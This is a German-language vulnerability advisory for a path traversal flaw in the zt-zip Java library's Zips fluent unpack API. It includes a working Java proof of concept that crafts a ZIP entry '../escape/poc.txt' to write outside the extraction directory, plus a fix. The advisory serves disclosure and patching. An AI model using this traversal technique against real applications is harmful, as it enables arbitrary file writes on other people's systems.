Hoch

zt-zip: Path Traversal im Fluent-API beim Entpacken

  • Veröffentlicht: 09.11.2026
  • Aktualisiert: 10.11.2026 10:00

Zusammenfassung

ZipUtil.unpack(...) weist ZIP-Einträge ab, die das Zielverzeichnis verlassen. Die Fluent-API Zips scheint jedoch eine separate Entpack-Implementierung zu verwenden, die diese Zielgrenzen-Prüfung nicht durchführt.

Ein ZIP-Eintrag wie:

../escape/poc.txt

wird außerhalb des konfigurierten Zielverzeichnisses geschrieben, wenn er wie folgt verarbeitet wird:

java
Zips.get(zip).unpack().destination(outputDir).process();

Der Transformer-Zweig ist ebenfalls betroffen.

Getestete Version

Commit: 067935dca375500d3ff025aafcdf0e4283931b1a

Ursache

In src/main/java/org/zeroturnaround/zip/Zips.java erstellt Zips.UnpackingCallback.process(...) die Ausgabedatei direkt aus dem Namen des ZIP-Eintrags:

java
String entryName = zipEntry.getName();
File file = new File(destination, entryName);

Die Methode erstellt daraufhin Verzeichnisse bzw. Dateien und kopiert Inhalte an diesen Pfad:

java
FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);

Wenn ein Transformer konfiguriert ist, wird dasselbe file an transformIntoFile(...) übergeben.

Vor diesen Dateisystem-Schreibvorgängen scheint keine Prüfung des kanonischen Pfads stattzufinden, sodass ../-Einträge außerhalb von destination aufgelöst werden können.

Minimale Reproduktion

java
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;

import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;

public class ZipsTraversalPoc {
  public static void main(String[] args) throws Exception {
    Path work = Files.createTempDirectory("ztzip-zips-poc");
    Path zip = work.resolve("poc.zip");
    Path escaped = work.resolve("escape").resolve("poc.txt");
    String entryName = "../escape/poc.txt";

    Files.createDirectories(escaped.getParent());

    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
      zos.putNextEntry(new ZipEntry(entryName));
      zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
      zos.closeEntry();
    }

    Path zipUtilOut = work.resolve("ziputil-out");
    Files.createDirectories(zipUtilOut);
    try {
      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
      System.out.println("ZIPUTIL_REJECTED=false");
    }
    catch (Throwable t) {
      System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
    }
    System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));

    Files.deleteIfExists(escaped);

    Path zipsOut = work.resolve("zips-out");
    Files.createDirectories(zipsOut);
    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
    System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));

    Files.deleteIfExists(escaped);

    Path zipsTransformOut = work.resolve("zips-transform-out");
    Files.createDirectories(zipsTransformOut);
    Zips.get(zip.toFile())
        .unpack()
        .destination(zipsTransformOut.toFile())
        .addTransformer(entryName, new ZipEntryTransformer() {
          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
            out.putNextEntry(new ZipEntry(entry.getName()));
            out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
            out.closeEntry();
          }
        })
        .process();
    System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
  }
}

Beobachtete Ausgabe:

ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true

Erwartetes Verhalten

Zips.get(zip).unpack().destination(outputDir).process() sollte Traversal-Einträge abweisen oder anderweitig sicherstellen, dass der aufgelöste Ausgabepfad innerhalb von outputDir verbleibt.

Auswirkungen

Anwendungen, die vom Angreifer kontrollierte ZIP-Dateien über die Fluent-API Zips entpacken, können – abhängig von den Dateisystemberechtigungen und dem Anwendungslayout – beliebige Dateischreibvorgänge außerhalb des vorgesehenen Extraktionsverzeichnisses ermöglichen.

Lösungsvorschlag

Die gleiche Zielgrenzen-Validierung anwenden, die von ZipUtil.unpack(...) vor jedem Schreibvorgang in Zips.UnpackingCallback.process(...) verwendet wird.

Beispielsweise können kanonische Path-Werte vor dem Erstellen von Verzeichnissen oder Dateien verglichen werden:

java
file.getCanonicalFile().toPath()
    .startsWith(destination.getCanonicalFile().toPath())

Regressionstests sollten beides abdecken:

java
Zips.get(zip).unpack().destination(out).process();
Zips.get(zip).unpack().destination(out).addTransformer(...).process();

Was zu tun ist

Aktualisieren Sie org.zeroturnaround:zt-zip auf Version 1.18.0 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Java / Kotlin (Maven) org.zeroturnaround:zt-zip < 1.18.0 1.18.0

Verweise

CVSS-Wert 8.2/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Schwäche (CWE)
CWE-22
Plattform
Java / Kotlin (Maven)
Paket
org.zeroturnaround:zt-zip
Veröffentlicht
09.11.2026
Aktualisiert
10.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-52c6-99qm-3hqr - CC BY 4.0

Schwachstellenhistorie: org.zeroturnaround:zt-zip

Alle veröffentlichten Schwachstellen dieses Pakets (Java / Kotlin (Maven)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
3
Erste → letzte
05.2022 11.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 1
  • Mittel 2

Veröffentlichungen pro Jahr

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 2
  1. zt-zip: Path Traversal im Fluent-API beim Entpacken dieser Eintrag
    Hoch · 8.2 CVE-2026-63436 < 1.18.0 1.18.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.